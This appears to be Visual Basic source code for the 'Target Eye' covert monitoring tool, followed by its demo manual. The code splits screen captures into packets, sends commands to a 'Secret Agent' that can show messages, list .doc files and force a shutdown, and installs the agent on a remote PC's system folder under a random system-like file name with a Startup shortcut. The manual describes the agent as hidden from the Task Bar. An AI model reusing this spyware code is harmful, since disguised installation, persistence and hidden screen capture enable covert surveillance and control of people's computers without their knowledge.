' Allocate memory for the packet to be created
ReDim Rest(1 To FileSize)
' =============================
Else
' =============================
'The first packet will be created
'Packet type is "NewFile"
TEType(1) = Packet_NewFile
'PacketID is created from 2 digits:
' 1 - AgentID
' 2 - The sequencial number of the packet
TEType(2) = CByte(CountPackets + AgentID * 10)
' Allocate memory for the packet to be created
ReDim Rest(1 To DefPacketSize)
'
AgentMe.State = PacketWaiting
' =============================
End If
' =============================
ElseIf AgentMe.State = PacketWaiting Then
'Continuing Picture
'
'Calculate current place within the input file
CurrentPlace = Seek(12)
'
' Can this packet contain the rest of the file
' ==============================================
If FileSize - CurrentPlace <= DefPacketSize Then
' ==============================================
'Packet type is "EndFile"
TEType(1) = Packet_EndFile
'PacketID is created from 2 digits:
' 1 - AgentID
' 2 - The sequencial number of the packet
TEType(2) = CByte(CountPackets + AgentID * 10)
' Allocate memory for the packet to be created
ReDim Rest(1 To FileSize - CurrentPlace + 1)
'
AgentMe.State = AgentReady
' ==============================================
Else
' ==============================================
'Will there be more packets
'Packet type is "ContFile"
TEType(1) = packet_ContFile
'PacketID is created from 2 digits:
' 1 - AgentID
' 2 - The sequencial number of the packet
TEType(2) = CByte(CountPackets + AgentID * 10)
' Allocate memory for the packet to be created
ReDim Rest(1 To DefPacketSize)
' ==============================================
End If
' ==============================================
End If
' READ ============================================================
Get #12, , Rest
' Check if there are changes in source image
Debug.Print "Get "; UBound(Rest); " bytes from "; PictFileName
' WRITE ============================================================
ReportSize = CLng(UBound(Rest))
CopyMemory TEType(3), ReportSize, 4
CopyMemory TEType(7), FileSize, 4
Put #11, , TEType
AgentMe.CurrentPacketNum = CountPackets
AgentMe.CurrentImageSent = CountBytes
Debug.Print "put "; UBound(TEType); " bytes to "; DestFileName; " PID = "; TEType(2); " Packet # "; CountPackets + AgentID * 10
' ==================================================================
CountBytes = CountBytes + UBound(Rest) - LBound(Rest) + 2
If Not Resend Then CountPackets = CountPackets + 1
' WRITE ============================================================
Put #11, , Rest
Debug.Print "put "; UBound(Rest); " bytes to "; DestFileName; " PID = "; TEType(2); " Packet # "; CountPackets + AgentID * 10
' ==================================================================
Close #11
Open DestFileName For Binary Access Read As #11
Debug.Print "Total size of packet is "; LOF(11)
Close #11
If TEType(1) = Packet_EndFile Or TEType(1) = Packet_SingleFile Then
' Debug.Print "Total wrote: "; CountBytes; " Total read: "; FileSize; " # of packets: "; CountPackets
CountBytes = 0
CountPackets = 0
Close #12
' Kill DestFileName 'do this only to test without another PC
End If
End Sub
Public Sub WriteToLog(s As String)
Dim FF As Integer
Dim LogMode
Exit Sub
If LogMode = 1 Then
FF = 99
On Error GoTo er1
Open "Ted.log" For Append As #FF
Print #FF, s
Close #FF
Else
' Debug.Print Format(Now(), "HH:MM:SS ") + s
End If
Exit Sub
er1:
Resume
End Sub
Function PacketType(s As String) As String
Dim Ftype As Byte
Dim Fid As Byte
Dim FSize As Long
Dim Psize As Long
Dim TSize As Long
Close #1
Open s For Binary Access Read As #1
Psize = LOF(1)
Get #1, , Ftype
Get #1, , Fid
Get #1, , FSize
Get #1, , TSize
Close #1
Select Case Ftype
Case Packet_NewFile:
PacketType = "NewFile"
Case packet_ContFile:
PacketType = "ContFile"
Case Packet_EndFile:
PacketType = "EndFile"
Case Packet_SingleFile:
PacketType = "SingleFile"
End Select
Debug.Print "========================================"
Debug.Print "TYPE: "; PacketType, "PID: "; CStr(Fid)
Debug.Print "Reported Size: "; FSize + 6, "Real Size: "; Psize; " Total size: "; TSize
Debug.Print "========================================"
End Function
Public Function TE_DeleteFile(s As String) As Integer
Dim tries As Integer
If Dir(s) = "" Then
' Debug.Print "The file "; s; " is already deleted"
End If
1:
DeleteFile s
If Dir(s) <> "" Then
'Debug.Print "Can't delete "; s
tries = tries + 1
If tries < 150 Then
GoTo 1
Else
'Debug.Print "Error deleting file "; s
DeleteFile s
tries = 0
End If
Else
'Debug.Print "The file "; s; " was deleted"
End If
End Function
Sub DestroyFile(sFileName As String)
Dim Block1 As String, Block2 As String, Blocks As Long
Dim hFileHandle As Integer, iLoop As Long, offset As Long
On Error GoTo erDl
'Create two buffers with a specified 'wi
' pe-out' characters
Const BLOCKSIZE = 4096
Block1 = String(BLOCKSIZE, "X")
Block2 = String(BLOCKSIZE, " ")
'Overwrite the file contents with the wi
' pe-out characters
hFileHandle = FreeFile
Open sFileName For Binary As hFileHandle
Blocks = (LOF(hFileHandle) \ BLOCKSIZE) + 1
For iLoop = 1 To Blocks
offset = Seek(hFileHandle)
Put hFileHandle, , Block1
Put hFileHandle, offset, Block2
Next iLoop
Close hFileHandle
'Now you can delete the file, which cont
' ains no sensitive data
DeleteFile sFileName
erDl:
' Debug.Print "Internal error. Can't delete file "; sFileName
Resume Next
End Sub
Public Function GetDesktopPath() As String
GetDesktopPath = GetSpecialFolder(CSIDL_DESKTOPDIRECTORY)
End Function
' Declare API functions.
Public Function GetFavoritesPath() As String
GetFavoritesPath = GetSpecialFolder(CSIDL_FAVORITES)
End Function
Private Function GetSpecialFolder(CSIDL As Long) As String
Dim idlstr As Long
Dim sPath As String
Dim IDL As ITEMIDLIST
Const NOERROR = 0
Const MAX_LENGTH = 260
On Error GoTo Err_GetFolder
' Fill the idl structure with the specified folder item.
idlstr = SHGetSpecialFolderLocation _
(0, CSIDL, IDL)
If idlstr = NOERROR Then
' Get the path from the idl list, and return
' the folder with a slash at the end.
sPath = Space$(MAX_LENGTH)
idlstr = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal sPath)
If idlstr Then
GetSpecialFolder = Left$(sPath, InStr(sPath, Chr$(0)) _
- 1) & "\"
End If
End If
Exit_GetFolder:
Exit Function
Err_GetFolder:
MsgBox Err.Description, vbCritical Or vbOKOnly
Resume Exit_GetFolder
End Function
Function GetStartMenuPath() As String
GetStartMenuPath = GetSpecialFolder(CSIDL_STARTMENU)
End Function
Function GetTemplatesPath() As String
GetTemplatesPath = GetSpecialFolder(CSIDL_TEMPLATES)
End Function
Function TECompare(f As String) As Boolean
Static Last As Boolean
Static LastDim() As Byte
Static NewDim() As Byte
Dim i
Open f For Binary Access Read As #55
ReDim NewDim(1 To LOF(55))
Get #55, , NewDim
Close #55
If Last Then
For i = 1 To UBound(NewDim)
If LastDim(i) <> NewDim(i) Then
TECompare = True
GoTo 1
End If
Next
End If
1:
LastDim = NewDim
Debug.Print "Compare = "; TECompare
End Function
Public Sub SendMessageToAgent(AgentName As String, MessageType As TEM, MessageText As String)
If Dir(NetworkPictFile + AgentName + ".tem") <> "" Then
Debug.Print "Last message wan't varified"
Exit Sub
End If
Open NetworkPictFile + AgentName + ".tem" For Output As #1
Print #1, MessageType; "#"; MessageText
Close #1
End Sub
Public Sub CheckMessages(AgentName As String)
Dim a$
Dim cmd As TEM
Dim Txt As String
If Dir(NetworkPictFile + AgentName + ".tem") = "" Then
Debug.Print "There aren't any messages"
Exit Sub
End If
Open NetworkPictFile + AgentName + ".tem" For Input As #1
Line Input #1, a$
Close #1
DeleteFile NetworkPictFile + AgentName + ".tem"
cmd = Val(Left(a$, InStr(a$, "#") - 1))
Txt = Mid(a$, InStr(a$, "#") + 1)
Select Case cmd
Case DisplayMsg
' save original window
' set active window to Message
ActiveWindowPTR = GetForegroundWindow()
Message.Label1.Caption = Txt
Message.Show 1
SetForegroundWindow (ActiveWindowPTR)
' set back to original window
Case Execute
Case ListFiles
Dim MyFiles() As String
Dim i
FindFile.FindFile "c:\", "*.doc", MyFiles
For i = 1 To UBound(MyFiles): Debug.Print MyFiles(i): Next
Case GetFile
Case SendFile
Case TargetEyeCMD
Case WindowsCMD
Select Case Txt
Case "TurnOff"
Shell "rundll32 user,exitwindows"
'ExitWindowsEx 30, 0
Exit Sub
End Select
End Select
End Sub
Public Sub DoShutDown(f As Form)
If MsgBox("Warning:" + Chr(13) + "You are about to perform a brutal shutdown on the monitored computer " + f.Tag + Chr(13) + "Are you sure you want to proceed? (the person you are watching, will not have a chance to save any of his work)", vbOKCancel + vbCritical, "Emergency Shutdown") = vbOK Then
SendMessageToAgent f.Tag, WindowsCMD, "TurnOff"
End If
End Sub
Public Sub GetFileList(f As Form)
SendMessageToAgent f.Tag, ListFiles, ""
End Sub
Public Sub DoEM(f As Form)
Static s As String
s = InputBox("Please type the message you wish to appear on the screen of " + f.Tag + " or press CANCEL to abort", "Sending a message to the monitored PC", s)
If s = "" Then Exit Sub
SendMessageToAgent f.Tag, DisplayMsg, s
End Sub
Public Sub Frm_OnTop(TheForm As Form, OnTop As Boolean)
Dim SetWinOnTop As Long
If OnTop Then
SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)
Else
SetWinOnTop = SetWindowPos(TheForm.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOMOVE Or SWP_NOSIZE)
End If
End Sub
Public Function Connected_To_Net() As Boolean
Dim phkResult As Long, lpData As Long, lpcbData As Long
Dim ReturnCode As Long
Connected_To_Net = False
ReturnCode = RegOpenKey(&H80000002, _
"System\CurrentControlSet\Services\RemoteAccess", phkResult)
If ReturnCode = 0& Then
lpData = 0&
lpcbData = 0&
ReturnCode = RegQueryValueEx(phkResult, _
"Remote Connection", 0&, 0&, ByVal lpData, lpcbData)
lpcbData = Len(lpData)
ReturnCode = RegQueryValueEx(phkResult, _
"Remote Connection", 0&, 0&, lpData, lpcbData)
If ReturnCode = 0& And lpData <> 0 _
Then Connected_To_Net = True
RegCloseKey (phkResult)
End If
End Function
Public Function GetNextAgent() As AgentCapture
' Generates list of all agents
Dim f As String
Dim i
f = Dir(NetworkPictFile + "*.tei")
While f <> ""
Debug.Print f
For i = 1 To AgentsCapturedCount
If AgentsCaptured(i).AgentFileName + ".tei" = f Then 'already monitored
GoTo Lab1
End If
Next
' found a new one
' Debug.Print "New one"
AgentsCapturedCount = AgentsCapturedCount + 1
AgentsCaptured(AgentsCapturedCount).AgentID = AgentsCapturedCount
GetNextAgent.AgentName = Left(f, Len(f) - 4)
GetNextAgent.AgentID = AgentsCapturedCount
GetNextAgent.AgentFileName = NetworkPictFile + Left(f, Len(f) - 4)
Exit Function
Lab1:
' Debug.Print "Old one"
f = Dir()
Wend
End Function
'**************************************
' Name: Get Startup Folder
' Description:Gets the startup folder of
' your system. This version will find your
' startup folder no matter what Windows OS
' you are running, and no matter where it
' is installed.
' By: Don
'
'
' Inputs:None
'
' Returns:Boolean, success or failure
'
'Assumes:None
'
'Side Effects:None
'
'Warranty:
'code provided by Planet Source Code(tm)
' (http://www.Planet-Source-Code.com) 'as
' is', without warranties as to performanc
' e, fitness, merchantability,and any othe
' r warranty (whether expressed or implied
' ).
'Terms of Agreement:
'By using this source code, you agree to
' the following terms...
' 1) You may use this source code in per
' sonal projects and may compile it into a
' n .exe/.dll/.ocx and distribute it in bi
' nary format freely and with no charge.
' 2) You MAY NOT redistribute this sourc
' e code (for example to a web site) witho
' ut written permission from the original
' author.Failure to do so is a violation o
' f copyright laws.
' 3) You may link to this code from anot
' her website, provided it is not wrapped
' in a frame.
' 4) The author of this code may have re
' tained certain additional copyright righ
' ts.If so, this is indicated in the autho
' r's description.
'**************************************
Private Function StartupMenu() As String
Dim lpStartupPath As String * MAX_PATH
Dim Pidl As Long
Dim hResult As Long
hResult = SHGetSpecialFolderLocation(0, CSIDL_COMMON_STARTUP, Pidl)
If hResult = 0 Then hResult = SHGetPathFromIDList(ByVal Pidl, lpStartupPath)
If hResult = 1 Then
lpStartupPath = Left(lpStartupPath, InStr(lpStartupPath, Chr(0)) - 1)
StartupMenu = lpStartupPath
End If
End If
End Function
'-----------------------------------------------------------
' SUB: CreateShellLink
'
' Creates (or replaces) a link in either Start>Programs or
' any of its immediate subfolders in the Windows 95 shell.
'
' IN: [strLinkPath] - full path to the target of the link
' Ex: 'c:\Program Files\My Application\MyApp.exe"
' [strLinkArguments] - command-line arguments for the link
' Ex: '-f -c "c:\Program Files\My Application\MyApp.dat" -q'
' [strLinkName] - text caption for the link
' [fLog] - Whether or not to write to the logfile (default
' is true if missing)
'
' OUT:
' The link will be created in the folder strGroupName
'-----------------------------------------------------------
'
Public Sub CreateShellLink(ByVal strLinkPath As String, _
ByVal strGroupName As String, _
ByVal strLinkArguments As String, _
ByVal strLinkName As String, _
ByVal fPrivate As Boolean, _
sParent As String, _
Optional ByVal fLog As Boolean = True)
Dim fSuccess As Boolean
Dim intMsgRet As Integer
Dim lREt As Boolean
strLinkName = strUnQuoteString(strLinkName)
strLinkPath = strUnQuoteString(strLinkPath)
If StrPtr(strLinkArguments) = 0 Then strLinkArguments = ""
lREt = OSfCreateShellLink(strGroupName, strLinkName, strLinkPath, strLinkArguments, _
fPrivate, sParent) 'the path should never be enclosed in double quotes
End Sub
Public Function strUnQuoteString(ByVal strQuotedString As String)
'
' This routine tests to see if strQuotedString is wrapped in quotation
' marks, and, if so, remove them.
'
strQuotedString = Trim$(strQuotedString)
If Mid$(strQuotedString, 1, 1) = gstrQUOTE Then
If Right$(strQuotedString, 1) = gstrQUOTE Then
'
' It's quoted. Get rid of the quotes.
'
strQuotedString = Mid$(strQuotedString, 2, Len(strQuotedString) - 2)
End If
End If
strUnQuoteString = strQuotedString
End Function
Public Sub CreateShortCut(path As String, Title As String, Prog As String, Parms As String)
Dim deskcut As Long
'deskcut = fCreateShellLink(path, Title, Prog, Parms, -1, "$(Programs)")
CreateShellLink path, "..", "", Title, True, "$(Programs)"
End Sub
Public Sub InstallSecretAgent(PC As String)
Dim AgentName As String
Dim AgentPath As String
Dim AgentStartup As String
'get remote PC system directory
AgentPath = "\\te3\c-te3\windows\system\" 'temporary
AgentStartup = "\\te3\c-te3\windowsstart menu\programs\startup\" 'temporary
'create a random name for the secret agent
AgentName = CreateRNDEXE
'copy secret agent EXE to remote PC system
FileCopy App.path + "\TESecretAgent.exe", AgentPath + AgentName
MsgBox "Agent installed in " + AgentPath + AgentName
'add a shortcut to the remote PC startup folder
CreateShortCut App.path + "\", AgentName, AgentPath + AgentName, ""
'Shell AgentPath + AgentName
End Sub
Public Function CreateRNDEXE() As String
Randomize Timer
Dim a(5), b(5) As String
a(1) = "sys": a(2) = "win": a(3) = "dos": a(4) = "reg": a(5) = "api"
b(1) = ".com": b(2) = ".dll": b(3) = ".com": b(4) = ".ocx": b(5) = ".sys"
CreateRNDEXE = a(Int(Rnd(1) * 5) + 1) + Trim(Str(Int(Rnd(1) * 9))) + Trim(Str(Int(Rnd(1) * 9))) + Trim(Str(Int(Rnd(1) * 9))) + b(Int(Rnd(1) * 5) + 1)
End Function
Target Eye Confidential
Operating Target Eye Demo
- Target Eye Demo can be used to demonstrate Target Eye on one or more machines, without causing any damage, and with no need to register a new user.
- The demo consists of two executable files: NewAgent.EXE and TED.EXE. NewAgent.EXE is the Secret Agent, and TED.EXE is the Controller.
- It is advised to run both application from their CD, without copying them to the Computer which is used for the demonstration.
- First, run NewAgent.EXE using the Start/Run menu and typing “G:\NewAgent” (assuming G:\ is the CD-ROM), or opening the CD-ROM from the Browser and double-clicking NewAgent.
- Second, run TED.EXE the same way.
- When the Secret Agent is active, it will not be shown in the Task Bar. There is one way to check it’s existence: Pressing CTRL+ALT+SHIFT+F8. Doing so, will pop-up a message asking you if you wish to terminate the Secret Agent. Choose “NO”., unless you have finished with the demonstration.
- The Controller (TED.EXE) opened a main window. Pressing the left most button on the ToolBar, will open a Dialog with the list of all computers connected to the network.
You need to locate the computer in which you started NewAgent.exe from, and double-click it’s name. As a result, a child window will open and after a few seconds, you will be able to see the distant computer desktop being captured.
- You can open more than one window, and show either other agents or agents that are already shown.
- You can autoscroll using the mouse.
- Using the right mouse button, you can open Popup menus related to the active window:
- Full Screen will toggle the Full Screen mode.
– Send Command, enables you to send commands to the agent.
- Shut Down. This command demonstrates sending a message to the agent (the message “Good Bye” will appear), and shutting it down, so it is recommended to end the demonstration with this feature.
- On the left size, there is a DialogBar that show the currently monitored agents, and bellow, some parameters of each agent.
- To switch between Gray Scale mode and Full Color mode, press the appropriate button. Then, there is a delay of around 5 seconds, since the command is sent to the agent and next time an image is captured, the command will affect.
- Change the values in the Quality TextBox and see various types of captured images shown.
©2000-2013 Michael Haephrati and Target Eye LTD
All materials contained on this site are protected by International copyright law and may not be used, reproduced, distributed, transmitted, displayed, published or broadcast without the prior written permission given by Michael Haephrati and Target Eye LTD. You may not alter or remove any trademark, copyright or other notice from copies of the content.
